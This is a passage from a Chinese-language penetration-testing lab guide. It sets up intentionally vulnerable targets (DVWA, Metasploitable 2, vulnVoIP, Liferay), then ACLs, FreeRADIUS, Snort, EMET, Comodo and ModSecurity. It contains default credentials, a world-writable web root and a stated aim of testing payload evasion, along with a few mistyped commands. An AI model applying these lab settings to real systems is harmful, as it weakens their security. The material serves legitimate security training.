    **mv DVWA-1.0.8 dvwa**
    **chmod -R 777 /var/www/html/dvwa**
    
    
  6. 登录 MySQL 并为 DVWA 创建一个数据库:

    **mysql -u root -p**
     **create database dvwa;**
     **exit**
    
    
  7. 现在,您需要从另一台机器的浏览器导航到 DVWA 设置界面(我们使用服务器的 IP 10.0.0.5,假设您已经设置了静态网络设置)http://10.0.0.5/dvwa/setup.php,然后单击创建/重置数据库按钮。

您现在可以导航到 http://10.0.0.5/dvwa/login.php,使用默认凭据 admin:password 登录,并使用该应用程序。

DVWA

DVWA 已准备好被黑客攻击

Liferay 门户

在渗透测试中经常遇到的 Web 应用程序之一是 Liferay 门户。它是一个基于开源、基于 Portlet 的企业内容管理系统CMS),可以根据各种业务需求进行定制。Liferay 门户是用 Java 编写的,用于企业内部网和外部 Web 门户。

它在市场上的受欢迎程度意味着,如果您为客户进行商业渗透测试,很可能会遇到它,并且您可能希望提前了解如何在黑客环境中处理它。在我们当前的情况下,Liferay 特别酷的地方是,不仅有商业版本,还有社区版本的门户可用。

社区版CE)是免费分发的,您可以在 Liferay 的网站www.liferay.com上下载,无需注册。由于我们需要用于学习和研究目的,您不会遇到任何法律或许可问题。

我们将在 Ubuntu Server 14 操作系统下的服务器上安装 Liferay 门户 CE,最好先准备好服务器,然后直接将 Liferay 下载到虚拟机中。

让我们列出您需要采取的步骤,以便获得运行 Liferay 门户的工作服务器:

  1. 从官方 Liferay 网站(www.liferay.com/de/downloads/liferay-portal/available-releases)下载社区版的 zip 存档。

  2. 将存档解压缩到 /srv/ 目录。

  3. 使用以下命令启动 Tomcat(放置正确的版本号):

    **sudo /srv/liferay-{version}/tomcat-{version}/bin/startup.sh**
    
    
  4. 根据虚拟机的硬件等待一两分钟。

  5. 要检查应用程序是否成功启动并且可以从其他主机访问,请运行以下命令并检查应用程序是否在 0.0.0.0(所有接口)上监听:

    **netstat -antp|grep 8080**
    
    

    Liferay 门户

    监听 Web 服务器

  6. 在另一台机器上的浏览器中打开,并导航到 http://10.0.0.5:8080。您应该看到基本配置对话框:Liferay 门户

    Liferay 基本配置页面

  7. 如果您愿意,可以更改值,但不要取消选中添加示例数据复选框,因为在研究门户时它会很有用。

  8. 单击完成配置,等待一段时间,直到安装过程完成。

  9. 然后,导航到门户并阅读并接受用户协议。

现在 Liferay Portal 已经安装并准备好在我们的实验室中使用。你可以开始探索这个门户,了解它是如何工作的,检查门户的内部结构和配置,等等。

门户已经填充了一些示例数据,但你可以进一步创建一个 Liferay Marketplace 的帐户 (www.liferay.com/marketplace/),以便下载并安装其他 Web 应用到你的门户。

Metasploitable

大多数流行的漏洞虚拟机镜像是为练习 Web 应用渗透测试而创建的,但也有一些虚拟机更多地针对系统和网络软件层面,比如经典的黑客攻击。它们非常适合学习和练习软件与操作系统漏洞利用、模糊测试、暴力破解、隧道技术、权限提升等。

其中一台虚拟机是 Metasploitable 2(基本上是其前身 Metasploitable 的更新和扩展版本),由著名的 IT 安全公司 Rapid7 提供,我们将把它添加到我们的实验环境中。

让我们引用 Metasploitable 2 的官方描述 (community.rapid7.com/docs/DOC-1875):

“Metasploitable 虚拟机是一个故意脆弱的 Ubuntu Linux 版本,旨在测试安全工具并展示常见漏洞。该虚拟机的第二个版本可供下载,并且比原始镜像包含更多的漏洞。此虚拟机兼容 VMWare、VirtualBox 以及其他常见的虚拟化平台。”

据我们了解,Metasploitable 主要是为了学习流行的黑客框架 Metasploit Framework 而创建的,但它也适用于更广泛的渗透测试学习任务。

默认情况下,Metasploitable 2 包含以下预安装的网络服务:

  • FTP

  • SSH

  • Telnet

  • SMTP

  • Web 服务器

  • rlogin

  • NFS

  • MySQL

  • PostgreSQL

  • VNC

  • 后门

以下攻击技术可以通过列出的服务进行练习:

  • 信息收集

  • 扫描

  • 缓冲区和栈溢出漏洞利用

  • 密码猜测 / 暴力破解

  • 模糊测试

  • 漏洞开发

  • SMTP 重定向

  • 中间人攻击

  • 权限提升

Metasploitable 2 的安装过程非常简单,像大多数预安装的故意脆弱的虚拟机镜像一样:

  1. 首先,将 Metasploitable 2 .zip 压缩包解压到你保存实验室虚拟机的目录中。

  2. 然后,创建一个 32 位的 Ubuntu Linux 虚拟机,内存为 512 MB,并在桥接模式下配置网络接口,当 VirtualBox 提示你创建虚拟磁盘时,选择 Metasploitable 2 目录中的现有虚拟磁盘(Metasploitable.vmdk)。

  3. 启动虚拟机,并使用默认凭证msfadmin:msfadmin登录。

  4. 将你的网络设置配置与我们在 Liferay Ubuntu 服务器上所做的类似,但请使用正确的 IP 地址 10.0.0.3。

注意

直接攻击练习

如果你想与 Metasploitable 2 进行直接攻击练习,你可以将虚拟机的网络接口切换到仅主机网络模式,然后从在同一主机上运行的虚拟机进行攻击。你可以在以下链接中找到相关教程:community.rapid7.com/message/4137

到此为止,Metasploitable 2 已经准备好接收你的恶意数据包,祝你玩得开心!

漏洞 VoIP 服务器

随着 IP 网络和技术的普及,企业基于 IP 的电话网络变得非常常见,这意味着如果你从事商业项目的渗透测试工作,你将时不时遇到这些系统,可能作为基础设施渗透测试项目的一部分,或者作为一个单独的 VoIP 渗透测试项目。

反过来,这意味着你希望为这些系统做好充分准备,并尝试在实验室中进行研究和攻击。

对我们来说幸运的是,已经有一个基于 CentOS 和 Asterisk 的漏洞 VoIP 服务器镜像,名为vulnVoIP

官方描述和下载链接可以在www.rebootuser.comHackLAB部分找到。现在这个链接有些旧了,但仍然有助于理解该技术及其攻击方式。

vulnVoIP 以 VMware 镜像的形式分发,因此你可以安装免费的 VMware Player 软件,或者如果你在企业环境中搭建了实验室,可能已经拥有 VMware 许可证,可以直接运行镜像。

漏洞 VoIP 服务器

vulnVoIP 的 Web 界面

如果你更喜欢使用 VirtualBox,你可以执行以下简单步骤:

  1. 解压.7zip格式的 vulnVoIP 压缩包。

  2. 创建一个新的 32 位 Linux 虚拟机。为其命名并分配 512 MB 的内存。

  3. 在询问硬盘时,选择从解压后的 vulnVoIP 目录中选择vulnVoIP.vmdk虚拟磁盘文件。

vulnVoIP 的开发者没有提供 root 密码,并且提供了破解系统以获取 root 访问权限的建议。因此,我们不会剥夺你一个很好的教训,按照 vulnVoIP 开发者的建议,让你获取 root 权限。

获得 root 权限后,你可以设置静态 IP 为 10.0.04,并将 vulnVoIP 连接到你的实验室网络的其余部分。

总结

在本章中,你了解了如何通过安装有用的组件来构建你的实验室,这些组件实际上使得搭建实验室网络的整个过程变得有意义。我们安装了在商业渗透测试项目中最有可能遇到的常见服务,以及你最有可能想要破解的那些服务。

如果你需要练习一些特定的技能,你可以并且应该通过根据你的需求安装和配置额外的特定网络服务或应用程序来扩展你的实验室。

例如,你可以在以下网站找到许多预装的虚拟机镜像:

在下一章中,我们将学习如何通过安装和配置安全解决方案来提升你的实验室水平。

第五章 实施安全性

本章专注于安全解决方案及其安装和配置。它将向你展示如何保护实验环境免受外部攻击和未经授权的访问,并且如何提高实验室复杂度,从而同时练习高级渗透测试和黑客技术。我们将把安全解决方案和措施分为两大类:基于主机的(保护它们所安装的主机)和基于网络的(保护整个实验室网络)。此外,我们还希望深入了解一种安全信息和事件管理解决方案,它可以与安全机制配合使用,以识别网络攻击并持续监控网络的安全性。

本章包括以下主题:

  • 基于网络的安全措施

  • 基于主机的安全措施

  • 安全信息和事件管理系统

基于网络的安全解决方案

本章我们并不打算严格遵循标准 ISO/OSI 模型的各个层次,而是区分了两大抽象的安全层次:网络层和主机层。

主机层通过基于主机的安全解决方案来保护特定主机。然而,基于网络的解决方案则旨在保护整个网络或其部分(或主机组)。我们希望从基于网络的解决方案开始本章内容。

配置网络访问控制

为了模拟一个真实的网络并保护我们的实验室不受外部网络的访问,我们需要在网络层面实施不同实验室 VLAN 之间的访问控制措施。我们将使用的访问控制机制被称为访问控制列表ACLs),并可以在核心路由器上实现。

一般来说,ACL 是一个规则列表,用来决定哪些流量是允许或不允许的,且指明流量的方向。我们还将创建几个 ACL,来阻止或允许不同 VLAN 之间的网络流量。

你可能会认为,逻辑上这应该在第三章,配置网络实验室组件中进行网络设备配置时完成,确实如此!但我们决定将 ACL 子话题放在这一章,因为它影响的是整个实验室环境的安全,而不仅仅是设备,所以应该重点强调。

隔离外部和访客网络

为了保证实验室的安全,我们需要按照第三章,配置网络实验室组件中描述的通信规则来隔离不受信任的网络段。让我们快速回顾一下这些规则:

允许的目标 目的
管理工作站
  • 所有网络设备

  • 所有服务器

  • 所有用户工作站

  • 互联网(外部网络)

网络与系统管理
服务器
  • 互联网(外部网络)
软件安装和更新
用户工作站
  • 互联网(外部网络)

  • 服务器

互联网访问,访问内部网络服务
受信任 WLAN
  • 互联网(外部网络)

  • 服务器

互联网访问,访问内部网络服务
客户端 WLAN
  • 互联网(外部网络)
互联网访问

首先,我们需要阻止所有来自外部网络的入站流量,并隔离客户 WLAN。登录到路由器控制台,启动配置模式,并创建一个名为 wan 的 ACL,使用以下命令:

**ip access-list extended wan**
**remark deny access from wan**
**deny ip 192.168.0.0 0.0.255.255 any log**
**deny icmp 192.168.0.0 0.0.255.255 any**
**exit**
**ip access-list extended guest**
**remark deny access to guest wlan**
**deny ip any 192.168.0.0 0.0.255.255**
**deny icmp any 192.168.0.0 0.0.255.255**

让我们快速解释一下我们刚刚做了什么:

  • 第一行和第六行创建了名为 wanguest 的扩展命名 ACL,并进入 ACL 配置模式。

  • 第二行和第七行的命令设置了新 ACL 的用户友好注释。

  • 第三行和第四行拒绝来自网络 192.168.0.0/16 到任何目的地的所有 IP 和 ICMP 流量。我们使用关键字 log 将所有被拒绝的包写入日志,以便进一步分析(这使我们能够检测到可能的攻击)。

  • 最后两条命令拒绝所有来自任何来源到 192.168.0.0/16 网络的 IP 和 ICMP 流量。

现在,我们需要将 ACL 应用到路由器子接口,该子接口负责与外部网络的通信(在我们的例子中是 fa0/0.5)。退出 ACL 配置模式,进入接口配置模式(如果你定义了与我们所做的不同的子接口,只需将 fa0/0.5 替换为与你的 SOHO 路由器连接的子接口对应的接口):

**interface fa0/0.5**

现在,分配名为 wan 的 ACL 以应用于来自外部的网络流量到子接口:

**access-group wan-in in**

接下来,分配名为 guest 的 ACL,以应用于来自内部的网络流量到子接口:

**access-group guest-out out**

隔离内部 VLAN

可以以类似的方式创建并应用其他路由器子接口的 ACL。因此,我们将它们放入表格中以方便查看:

名称 子接口 方向 ACL 备注
`trusted-in** fa0/0.4 in **deny ip 172.16.1.0 0.0.0.255 172.16.0.0 0.0.0.255deny ip 172.16.1.0 0.0.0.255 10.1.0.0 0.0.0.255deny icmp 172.16.1.0 0.0.0.255 172.16.0.0 0.0.0.255deny icmp 172.16.1.0 0.0.0.255 10.1.0.0 0.0.0.255permit ip any any``permit icmp any any` 来自受信任 WLAN 的访问
`users-in** fa0/0.3 in **deny ip 172.16.0.0 0.0.0.255 172.16.1.0 0.0.0.255deny ip 172.16.0.0 0.0.0.255 10.1.0.0 0.0.0.255deny icmp 172.16.0.0 0.0.0.255 172.16.1.0 0.0.0.255deny icmp 172.16.0.0 0.0.0.255 10.1.0.0 0.0.0.255permit ip any any``permit icmp any any`
`servers-in** fa0/0.2 in **permit ip 10.0.0.0 0.0.0.255 172.16.0.0 0.0.255.255 establishedpermit icmp 10.0.0.0 0.0.0.255 172.16.0.0 0.0.255.255 establisheddeny ip 10.0.0.0 0.0.0.255 172.16.0.0 0.0.255.255deny icmp 10.0.0.0 0.0.0.255 172.16.0.0 0.0.255.255deny ip 10.0.0.0 0.0.0.255 10.1.0.0 0.0.255.255deny icmp 10.0.0.0 0.0.0.255 10.1.0.0 0.0.255.255permit ip any any``permit icmp any any` 拒绝服务器发起的用户和可信 WLAN 的连接

确保无线访问安全

根据我们的实验室设计,我们希望能够实现对实验室环境的安全无线访问,即一个可信的 WLAN。

正如你在第一章中记得的那样,理解无线网络安全与风险,确保 WLAN 访问的最佳方式是实现基于 IEEE 802.1x 标准的 WPA-Enterprise 安全性。更准确地说,它应该基于 EAP over LAN (EAPOL) 和一个 AAA 服务器。

我们决定选择 FreeRADIUS 作为适合的 AAA 服务器解决方案。FreeRADIUS 是一个包含 RADIUS 服务器软件以及多个辅助库和模块的软件包。目前,我们只对 RADIUS 服务器感兴趣,这足以完成我们的任务。

FreeRADIUS 是一个非常流行的解决方案,具有模块化架构。它运行非常快速,并且免费为实验室分发重要服务。

在我们开始实施解决方案之前,我们想列出接下来的步骤,以便给你一个更清晰的整个过程概览:

  1. 准备带有 FreeRADIUS 的虚拟机。

  2. 创建证书。

  3. 配置 RADIUS 服务器。

  4. 配置接入点。

  5. 配置 WLAN 客户端。

准备 RADIUS 服务器

我们将在基于 Debian 的虚拟 Linux 服务器上安装 FreeRADIUS,并将其放置在 IP 地址为 10.0.0.6 的服务器子网中。安装过程与 Ubuntu Server 安装过程非常相似:

  1. 创建一个 1024 MB 内存的虚拟机。

  2. 从官方网站下载 Debian Linux 8(Jessie)镜像。

  3. 使用引导安装安装 Debian Linux,并且不要忘记在安装过程中为 root 用户和非 root 用户设置强密码,因为该服务器将提供实验室的安全性,我们不希望它存在漏洞。

  4. 安装完成后,启动虚拟机并以 root 账户登录。

  5. 确保虚拟机可以访问互联网。如果没有连接到实验室网络,请使用 NAT,或者如果已连接,请配置 IP 设置。

  6. 检查 /etc/apt/sources.list 文件是否包含以下内容:

    **deb http://ftp.debian.org/debian jessie main**
    
    
  7. 如果没有,将此行添加到文件中。

  8. 更新软件包列表。

  9. 使用以下命令安装 FreeRADIUS:

    **apt-get update**
    **apt-get install freeradius**
    
    

注意

或者,你也可以从官方 FTP 服务器下载最新版本的 FreeRADIUS 并进行编译(更改软件包版本号为当前版本,并确保安装了 gcc 编译器):

wget ftp://ftp.freeradius.org/pub/freeradius/freeradius-server-3.0.9.tar.gz
tar zxfv freeradius-server-3.0.9.tar.gz
cd freeradius-server-3.0.9
./configure
make
make install

准备证书

我们实验室中的每个授权用户将拥有一个用于受信 WLAN 连接的个人证书,因而在开始将证书路径写入服务器配置之前,准备证书是合乎逻辑的。

你可以使用在第四章,设计应用实验室组件,中安装的实验室证书颁发机构(CA)来创建所有必要的证书。我们已经创建了一个 CA 证书,因此只需要创建服务器和客户端证书,并使用 CA 进行签名:

  1. 创建服务器密钥和证书请求:

    **openssl genrsa -out radius.key 2048**
    **openssl req -key radius.key -new -our radius.csr**
    
    
  2. 创建一个包含两位数序列号的lab_ca.srl文件,例如,01。

  3. 使用 CA 签署服务器证书请求(如果 CA 证书和密钥文件不在当前目录中,你需要提供它们的路径),并创建服务器证书:

    **openssl x509 -req -in radius.csr -CA rootCA.crt -CAKey rootCA.key -out radius.pem**
    
    
  4. 创建客户端密钥和证书请求:

    **openssl genrsa -out attacker1.key 2048**
    **openssl req -new -key attacker1.key -out attacker1.csr**
    
    
  5. 在这里,你应该填写证书的常用名称字段,填写持有该证书的用户身份,例如attacker1alex

  6. 使用证书颁发机构签署客户端证书:

    **openssl x509 -req -in attacker1.csr -CA rootCA.crt -CAkey rootCA.key -CAcreateserial -out attacker1.crt -days 365**
    
    
  7. 将客户端证书导出为 PKCS#12 格式,以便 Windows 客户端使用:

    **openssl pkcs12 -export -in attacker1.crt -inkey attacker1.key -out attacker1.p12 -clcerts**
    
    

你可以为想要通过受信 WLAN 访问实验室的用户创建多个客户端证书。将服务器证书和 CA 证书复制到 FreeRADIUS 服务器上的/etc/freeradius/certs/lab目录中。

配置 RADIUS

现在,是时候为我们的需求配置 FreeRADIUS 了。配置文件可以在/etc/freeradius目录中找到。

现在我们关注以下配置文件:

  • clients.conf:定义认证器(在我们这个例子中是思科接入点)和认证服务器(FreeRADIUS)之间的连接设置。

  • eap.conf:定义可扩展认证协议EAP)类型和设置。

clients.conf

我们需要向文件中添加以下行,以设置认证器的连接参数:

client 172.16.1.2 {
        secret = YourSecret
        shortname = TrustedWLAN
}

secret参数包含一个密码,用于 AP 连接到 RADIUS 服务器,因此你可能需要使用强密码组合来提高实验室的安全性。

eap.conf

在这里,我们为 EAP-TLS 认证设置所有必要的参数:

default_eap_type = tls
tls {
     certdir = ${confdir}/certs/lab
     cadir = ${confdir}/certs/lab
     private_key_password = YourServerKeyPassword
     private_key_file = ${certdir}/radius.key
     certificate_file = ${certdir}/radius.pem
     CA_file = ${cadir}/rootCA.crt
     dh_file = ${certdir}/../dh
     random_file = /dev/urandom
}

certdircadir参数设置 FreeRADIUS 查找服务器和 CA 证书的目录。在我们的例子中,它们都位于/etc/freeradius/certs/lab

private_key_password参数是你在创建服务器私钥时输入的密码。

配置接入点

我们已经在第三章,配置网络实验室组件中配置了接入点的以太网接口,但由于无线接口的配置高度依赖于我们在当前章节之前没有配置的 RADIUS 服务器,我们略过了该部分。现在是时候弥补这一空缺了:

  1. 连接到 AP 的控制台端口,并使用 enable 命令进入特权模式,并输入您在第三章,配置网络实验室组件中初始 AP 配置时设置的密码(默认密码为 Cisco)。

  2. 首先,我们需要配置认证服务器(RADIUS)设置:

    **configure terminal**
    **aaa group server radius rad_eap**
    **server 10.0.0.6 auth-port 1812 acct-port 1813**
    **exit**
    **aaa new-model**
    **aaa authentication login eap_methods group rad_eap**
    **radius-server host 10.0.0.6 auth-port 1812 acct-port 1813 key YourSecret**
    **end**
    **write memory**
    
    
  3. YourSecret 替换为您在 FreeRADIUS 配置中设置的 clients.conf 中的值。

  4. 现在,我们需要配置名为 dot11radio 的无线接口:

    **configure terminal**
    **interface dot11radio 0**
    **encryption mode ciphers aes-ccm**
    **exit**
    **write memory**
    
    
  5. lab_private 是我们受信 WLAN 的 SSID,您可以将其更改为您喜欢的任何名称。

  6. 下一步,我们将配置 WLAN 设置:

    **configure terminal**
    **dot11 ssid lab_private**
    **authentication open eap eap-tls**
    **authentication key-management wpa version 2**
    **guest-mode**
    **end**
    **write memory**
    
    
  7. 您可以省略 guest-mode 命令来禁用 SSID 广播,从而使您的 WLAN 稍微更加安全(但实际上并没有大幅提高安全性)。

  8. 配置无线接口和 SSID 后,我们可以将 SSID 分配给该接口并启用接口:

    **configure terminal**
    **interface dot11radio 0**
    **ssid lab_private**
    **no shutdown**
    **exit**
    **copy running-config startup-config**
    
    

注意

如果您选择为受信 WLAN 设置软件 AP,您可以使用以下工具:

  • Linux 上的内置工具或 hostapd 软件(我们将在第七章,准备无线渗透测试平台中展示如何安装和配置它)

  • Windows 上的特殊软件(例如 Connectify 或 ARPMiner)

安装并配置所选软件后,您需要使用 GNS3 系统中的 Cloud 工具,在无线网络和虚拟实验室基础设施之间建立连接,如在第三章,配置网络实验室组件中所述。

配置 WLAN 客户端

作为最后一步,我们需要通过将客户端机器连接到新创建的 WLAN 来进行测试。我们将在 Windows 8.1 机器上执行此操作:

  1. 首先,您需要将攻击者的证书(PKCS#12 格式)复制到客户端机器上并进行安装。

  2. 然后,您需要点击系统托盘中的网络图标,以获取可用无线网络列表,类似于 WEP 或 WPA-PSK 保护的网络。

  3. 在无线网络列表中选择 lab_private 选项,并点击 其他连接方式 链接:配置 WLAN 客户端

  4. 然后,点击证书,选择实验室证书,点击确定配置 WLAN 客户端

现在,你已经连接到受信 WLAN,并可以渗透我们的易受攻击服务器。到目前为止,我们已经可靠地保护了我们的受信 WLAN 和整个实验室网络,防止了未授权的网络访问。我们几乎达到了本书的主要目标:构建一个受外部攻击保护的无线接入实验室。

安装网络入侵检测系统

现在,让我们看看如何在我们的网络中安装该系统,以检测任何入侵。

激活 SPAN

思科设备有一个名为交换端口分析器SPAN)的功能,它基本上将选定源端口的网络流量镜像到选定的目标端口。我们需要这个功能,将通过服务器 VLAN 传入的网络流量复制到我们的基于网络的 IDS 进行进一步分析。

我们将监控整个服务器的流量(端口 fa0/7fa0/10),通过 fa0/11 端口,因此让我们使用以下命令在核心交换机上配置 SPAN:

**enable**
**config t**
**interface fa0/11**
**port monitor fa0/7**
**port monitor fa0/8**
**port monitor fa0/9**
**port monitor fa0/10**
**end**
**copy running-config startup-config**

Snort

Snort 是一个免费的、开源的网络入侵检测系统IDS),能够在基于 IP 的网络中执行数据包日志记录和实时流量分析。

注意

你可能还想探索 Snort 的其他替代品,例如,Suricata。

该 IDS 识别以下内容:

  • 针对网络协议的攻击

  • 扫描(端口和服务)

  • DoS 攻击

  • 针对 FTP、DNS、电子邮件等服务的攻击

  • 针对数据库的攻击

  • 针对 Web 的攻击

  • 漏洞利用和各种恶意软件

考虑到以下几点,我们拥有一个具有强大功能的安全监控系统:

  • 能够编写自己的规则

  • 通过使用连接模块增强功能

  • 灵活的攻击警告系统(日志文件、输出设备或数据库 ID)

Snort 可以在多种操作系统上执行:Windows 和类 Unix 系统。在我们的例子中,我们使用的是 Ubuntu Server 14,并将考虑 Linux 发行版。

安装 Snort

所以,在 Ubuntu Linux 上安装过程非常简单。我们只需要执行一条命令:

**apt-get install snort**

几分钟后,安装将完成,我们可以使用以下命令在系统上启动 Snort 服务:

**service snort start**

接下来,让我们更新 Snort 规则集。你可以从官方网站的www.snort.org/downloads 规则部分获取最新版本的规则。我们将使用注册用户版本,因为它是最新的。然而,这需要注册。你可以在www.snort.org/users/sign_up注册。

下载后,让我们解压下载的压缩文件并将规则目录 so_rulespreproc_rules 复制到 /etc/snort

**cp -R ./rules/ /etc/snort/**
**cp -R ./so_rules/ /etc/snort/**
**cp -R ./preproc_rules/ /etc/snort/**

之后,我们需要重启 Snort:

**service snort restart**

完成所有这些操作后,我们有了一个工作中的 IDS Snort 系统实例。接下来,让我们更详细地配置我们的入侵检测系统。

配置 Snort

Snort 的主要配置位于 /etc/snort/ 目录下的 snort.conf 文件中。最初,该文件基于示例配置。它很大,但注释非常详细,因此不应让您感到困惑。配置文件包括九个部分:

  • 网络变量

  • 解码器的配置

  • 基础检测引擎的配置

  • 动态加载库的配置

  • 预处理器的配置

  • 输出插件的配置

  • 规则集的自定义

  • 预处理器和解码器规则集的自定义

  • 共享对象规则集的自定义

让我们从描述我们基础设施的基本变量开始:

类型 变量 描述
`ipvar** **HOME_NET` [10.0.0.0/24,10.1.0.0/24] 内部网络,可能发生攻击的源。它是一个主机或一组主机,Snort 将分析这些主机的流量。
`ipvar** **EXTERNAL_NET` [172.16.0.0/24,192.168.0.0/24,172.16.2.0/24] 攻击可能开始的网络。
`ipvar** **DNS_SERVERS` 10.0.0.2 它是 DNS 服务器的列表。
`ipvar** **HTTP_SERVERS` 10.0.0.3,10.0.0.5 它是 Web 服务器的列表。
`ipvar** **SQL_SERVERS` 10.0.0.3 它是 SQL 服务器的列表。
`portvar** **HTTP_PORTS` 80,443 它是 Web 端口的列表。
`ipvar** **SIP_SERVERS` 10.0.0.4 它是 SIP 服务器的列表。

我们保留该文件中其他设置的默认值。当然,您可以配置 Snort 以最适合您需求的方式工作。由于这是一个学习实验室,特定情况下的设置可能会有所不同。

为了使更改生效,我们需要重启 Snort 守护进程:

**service snort restart**

现在,我们可以尝试运行 Snort:

**snort -D -dev -c /etc/snort.conf**

启动守护进程后,我们将检查 Snort 正在监听的网络接口:

**ifconfig -a**

如果接口处于混杂模式,一切正常。

Snort 规则

编写您自己的规则并不难,但通常是必要的,因为每天都会发现漏洞,在测试实验室的情况下,基础设施会根据测试需求不断变化。

规则的结构遵循以下方案:

<动作> <协议> <端口> <方向> <端口>([元数据] [包内容] [数据] [检测后的动作])

动作分为以下几部分:

动作 描述
alert 使用选定的方法创建警报,并将信息传递到系统日志。
log 使用系统日志记录包的相关信息。
pass 忽略该包。
activate 使用另一个动态规则。
dynamic 在激活规则后,通过日志记录过程激活规则。
drop 使用防火墙丢弃数据包,并将信息传送到系统日志。此选项仅在内联模式下生效。
sdrop 使用软件防火墙丢弃数据包,并且不使用系统日志。此选项仅在内联模式下生效。
reject 使用防火墙,若协议为 TCP 则丢弃数据包,或者如果数据包是通过 UDP 传输且 ICMP 端口不可用,则在日志文件中记录消息。此选项仅在内联模式下生效。

接下来,遵循协议。该参数可以取以下值:TCP、UDP、IP 和 ICMP。

接下来的三个参数决定了规则应用的源和目标 IP 地址及端口号。它们可以设置为某个特定值、一个范围或任何值。IP 地址范围可以通过以/开头的 CIRD 块掩码来设置,例如:/24。端口范围可以通过用冒号分隔的起始端口和结束端口来设置,例如:25:445

同时,重要的是指定规则应应用的流量方向,使用符号->表示从源到目标的方向,或<>表示双向流量。

在指定规则的所有参数后,你还可以设置若干选项,这些选项会出现在规则头部后面并用分号分隔。选项关键词应与其值通过冒号分开。

所有选项可以分为四类:

类别 描述
meta-data 这些选项未指定用于数据验证包。它包含关于攻击类型、材料的潜在漏洞、链接等信息。
payload 该类别的参数包含有关数据本身的信息,这些数据包含在数据包中。
non-payload 该类别包含关于数据包(头部)的官方信息。
post-detection 指定在发现数据包中的信息后需要执行的任务。

为了有效监控活动,你应学习 Snort 的语言规则。不幸的是,本书无法详细描述所有规则,但你可以在互联网上找到更多信息。

目前,我们已经有了一个正常工作的网络入侵检测系统,可以根据特定需求进行开发。

基于主机的安全解决方案

我们将在当前章节中介绍的第二类安全解决方案是基于主机的解决方案。此类解决方案安装在它们需要保护的同一主机上。

在实验室中,你需要拥有基于主机的安全解决方案,主要有两个目的:一是练习防火墙/IPS 规避技术,二是测试你的漏洞利用(payloads)和恶意软件的可检测性及混淆效果。但正如往常一样,可能还有其他个人原因需要采取这样的安全措施。

工作站安全

为了更好地模拟真实企业网络,并为测试各种规避技术创造条件,我们将为我们的实验室工作站安装免费的端点安全解决方案。

我们建议在安装任何基于主机的安全解决方案之前,先创建工作站的快照,因为这些解决方案肯定会使穿透工作站变得有些麻烦,而在你进入更高级的黑客层级之前并不需要它。使用快照可以在虚拟机的不同系统状态之间快速切换,如果你搞坏了某些东西,随时可以恢复。

EMET

我们列表中的第一个工作站安全解决方案是来自微软的增强型缓解体验工具包EMET)。该工具帮助保护应用程序免受利用,如果它们包含软件漏洞。该工具使用了多种保护技术,包括内存随机化和保护技术,以及证书固定功能,以抵御中间人攻击。可以从官方网站下载,网址为www.microsoft.com/emet

我们将在 Windows 7 工作站上安装 EMET 5.2。通过图形界面进行安装过程并不复杂,因此我们将使用大量的截图。

  1. 登录到 Windows 7 工作站,并从官方网站下载 EMET 5.2(如果已经有更高版本,则下载更高版本):!EMET

    EMET 5.2 下载菜单

  2. 启动安装向导并按照对话框中的指示进行操作:!EMET

    EMET 5.2 安装过程

  3. 选择推荐的设置:!EMET

    EMET 5.2 设置选择

  4. 安装完成后,你可以在任务栏找到 EMET 图标。右键点击它并打开 EMET:!EMET

    EMET 5.2 主窗口

  5. 你可以点击菜单中的应用程序按钮,查看每个应用程序的保护设置:!EMET

    EMET 5.2 应用保护设置

现在,我们可以继续安装基于主机的入侵防御系统。

HIPS

像 EMET 一样,我们需要一个 HIPS 和杀毒软件,主要用于规避测试和高级攻击或研究场景。你可以选择任何流行的软件,实验室中有的安全解决方案越多越好,因为它将使你能够对更多的检测和保护工具进行 payload 和规避技术的测试。这会大大增加你成功攻击的机会。

提示

通常情况下,不推荐安装来自不同厂商的同类型大量安全解决方案,因为它们可能会发生冲突并导致系统不稳定。在我们的示例中,我们已经测试过所推荐的解决方案,但如果你想用其他软件做同样的事情,我们建议你进行充分的测试。

出于演示目的,安装一个解决方案就足够了,最好选择免费的。我们选择了 Comodo Internet Security 2015。

Comodo Internet SecurityIS)是一个结合了杀毒软件、防火墙和自动沙箱软件的解决方案,并且在 Comodo 网站上有免费的版本。步骤如下:

  1. 安装过程也很简单,就像 EMET 一样。但它有一些特殊性。你不应忽视第二个安装对话框左下角的一个小链接自定义安装HIPS

    访问 Comodo IS 安装自定义对话框

  2. 对于我们的用途,我们不需要 GeekBuddy 组件或 Chromodo 浏览器,所以只需取消选中相应的复选框:HIPS

    选择要安装的 Comodo IS 组件

  3. 我们也不希望 Comodo 更改我们的 DNS 设置,所以在下一个对话框中也取消选中相应的复选框。是否帮助 Comodo 将 Yahoo! 设置为默认搜索引擎由你决定。然而,在实验室工作站的情况下,这对 Comodo 并没有帮助,因此我们取消了该选项:HIPS

    Comodo IS 安装自定义

  4. 完成安装并重启工作站。

  5. Comodo Internet Security 2015 已安装并正常工作。剩下的最后一件事是创建虚拟机状态的快照:HIPS

    Comodo IS 主窗口

Web 应用防火墙

Web 应用防火墙是一类安全解决方案,专门通过检查 HTTP/S 请求和响应来保护 Web 应用,并根据特定的模式(规则)采取各种行动。这些行动可以是阻止、日志记录,或者采取一些更复杂的行动。

说到免费 Web 应用防火墙,首先想到的肯定是 ModSecurity。为了更好地解释它是什么,我们将引用官方 ModSecurity 网站的描述 (www.modsecurity.org/):

"ModSecurity 是一个开源的跨平台 Web 应用防火墙(WAF)模块。被称为 WAF 的“瑞士军刀”,它使 Web 应用防御者能够查看 HTTP(S) 流量,并提供强大的规则语言和 API 来实现高级保护。"

我们认为如果说它是世界上最受欢迎的免费 Web 应用防火墙,我们不会错,并且我们想向你展示如何在我们的 Web 服务器上为实验室使用准备它。那么,让我们开始吧。

首先,我们应该安装 ModSecurity。安装 ModSecurity 有几种方式,但在我们的情况下,最快且最简单的方式是通过 高级包装工具APT)从 Ubuntu 软件包仓库进行安装。登录到 Web 服务器并运行以下命令:

**sudo apt-get update**
**sudo apt-get install libapache2-modsecurity**

要检查 ModSecurity 是否成功安装并加载,可以使用 apachectl 工具,选项为 -M 并使用 grep

**sudo apachectl -M|gerp security**

你应该看到类似于security2_module(共享)的内容,这表示 ModSecurity 已成功集成到 Apache 中。

ModSecurity 将其配置文件保存在/etc/modsecurity/目录下,并附带一组预定义的规则和配置。默认配置文件是modsecurity.conf-recommended。建议你备份该文件,以便我们可以创建一个副本,作为工作配置:

**sudo cp /etc/modsecurity/modsecurity.conf-recommended /etc/modesecurity/modsecurity.conf**

之后,我们需要重启 Apache web 服务器,以使其加载新的 ModSecurity 配置:

**sudo service apache2 restart**

